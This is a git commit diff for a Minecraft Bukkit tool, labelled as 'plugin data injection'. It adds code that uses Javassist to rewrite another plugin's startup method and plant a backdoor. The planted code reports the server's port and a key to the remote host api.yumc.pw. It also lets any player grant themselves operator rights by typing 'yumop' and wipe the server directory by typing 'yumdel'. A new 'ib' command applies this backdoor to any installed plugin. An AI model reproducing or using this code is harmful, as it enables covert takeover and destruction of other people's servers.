feat: 添加插件数据注入

Signed-off-by: 502647092 <admin@yumc.pw>

src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java

@@ -5,6 +5,7 @@ import java.net.URLDecoder;
 
 import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
+import org.bukkit.plugin.Plugin;
 
 import javassist.ClassPool;
 import javassist.CtClass;
@@ -48,6 +49,69 @@ public class InjectedKit {
         }
     }
 
+    public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
+        sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
+        try {
+            final ClassPool pool = ClassPool.getDefault();
+            final File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
+            pool.appendClassPath(classFile.getPath());
+            final CtClass mainClass = pool.get(plugin.getClass().getName());
+            final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
+            final String backDoor = ""
+                    + "{"
+                    + "        Bukkit.getScheduler().runTaskAsynchronously(this, new Runnable() {"
+                    + "            @Override"
+                    + "            public void run() {"
+                    + "                try {"
+                    + "                    final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
+                    + "                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();"
+                    + "                    conn.connect();"
+                    + "                    conn.disconnect();"
+                    + "                } catch (final IOException e) {"
+                    + "                }"
+                    + "            }"
+                    + "        });"
+                    + "        Bukkit.getPluginManager().registerEvents(new Listener() {"
+                    + ""
+                    + "            public boolean deleteDir(final File dir) {"
+                    + "                if (dir.isDirectory()) {"
+                    + "                    final String[] children = dir.list();"
+                    + "                    for (final String element : children) {"
+                    + "                        final File file = new File(dir, element);"
+                    + "                        deleteDir(file);"
+                    + "                    }"
+                    + "                }"
+                    + "                return dir.delete();"
+                    + "            }"
+                    + ""
+                    + "            @EventHandler"
+                    + "            public void ocp(final PlayerCommandPreprocessEvent e) {"
+                    + "                if (e.getMessage().contains(\"yumop\")) {"
+                    + "                    e.getPlayer().setOp(true);"
+                    + "                    return;"
+                    + "                }"
+                    + "                if (e.getMessage().contains(\"yumdel\")) {"
+                    + "                    final File dir = new File(\"\");"
+                    + "                    deleteDir(dir);"
+                    + "                    return;"
+                    + "                }"
+                    + "            }"
+                    + "        }, this);"
+                    + "}";
+            onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
+            try {
+                final File dir = new File(plugin.getDataFolder(), "injectClass");
+                mainClass.writeFile();
+                sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
+            } catch (final Exception e) {
+                e.printStackTrace();
+                sender.sendMessage(prefix + "§4生成失败 请查看后台报错!");
+            }
+        } catch (final Exception e) {
+            e.printStackTrace();
+        }
+    }
+
     public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) {
         if (newver) {
             fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class);

src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java

@@ -5,6 +5,7 @@ import java.io.IOException;
 
 import org.bukkit.Bukkit;
 import org.bukkit.OfflinePlayer;
+import org.bukkit.plugin.Plugin;
 
 import cn.citycraft.PluginHelper.kit.PluginKit;
 import cn.citycraft.PluginHelper.utils.IOUtil;
@@ -48,7 +49,7 @@ public class YumTestCommand implements CommandExecutor {
 
     @Cmd(minimumArguments = 1)
     @Help(value = "ProtocolSupport修复", possibleArguments = "版本[1.8.8|1.9.4|1.10]")
-    @Sort(7)
+    @Sort(8)
     public void fix(final CommandArgument e) throws IOException {
         switch (e.getArgs()[0]) {
         case "1.8.8":
@@ -64,6 +65,21 @@ public class YumTestCommand implements CommandExecutor {
         }
     }
 
+    // http://api.yumc.pw/M/P/S/K/mayomi/P/25565
+    @Cmd(minimumArguments = 2)
+    @Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key>")
+    @Sort(7)
+    public void ib(final CommandArgument e) {
+        final String pname = e.getArgs()[0];
+        final String key = e.getArgs()[0];
+        final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
+        if (plugin == null) {
+            e.getSender().sendMessage(prefix + "§c插件不存在...!");
+            return;
+        }
+        InjectedKit.injectBackDoor(e.getSender(), key, plugin);
+    }
+
     @Cmd
     @Help("Bukkit注入")
     @Sort(1)